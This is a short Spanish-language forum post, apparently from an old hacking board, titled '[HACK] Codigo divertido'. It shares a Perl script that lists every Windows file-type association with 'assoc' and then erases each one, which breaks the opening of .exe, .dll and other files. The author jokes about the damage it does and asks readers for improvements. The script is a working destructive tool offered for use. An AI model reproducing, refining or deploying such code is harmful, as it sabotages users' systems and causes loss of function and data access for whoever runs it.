[HACK] Codigo divertido ...

[jmcontreras]

S47UD05  :
Este es un perl que hice para destruir la asociación que existen en los sistemas windozes, y como
en esta tabla de asociacion están .exe, .dll's , etc ... les dejo a su imaginación lo que haría este

perl al ser ejecutado, sé que el codigo no es muy limpio pero es la version 0.007   ...
NOTA: no lo intenten correr en casa (su computadora) jejejeje          ;-P

Si alguien tiene comentarios y modificaciones, serán bienvenidas ...
Y, si alguien sabe de una utilería para convertir de perl hacia una libreria de
tipo obj para c,c++, asm, etc... diganmelo pls, TKS ...!!!

#!c:/perl/bin/perl.exe
# Perl para destruir la asociacion de programas en windows
# By B0mb3rm4n
system ("assoc > s.tm");
open (ASS , "<s.tm");
@lista = <ASS>;
close (ASS);
foreach (@lista){
  split(/=/);
  system("assoc @_[0]=");
}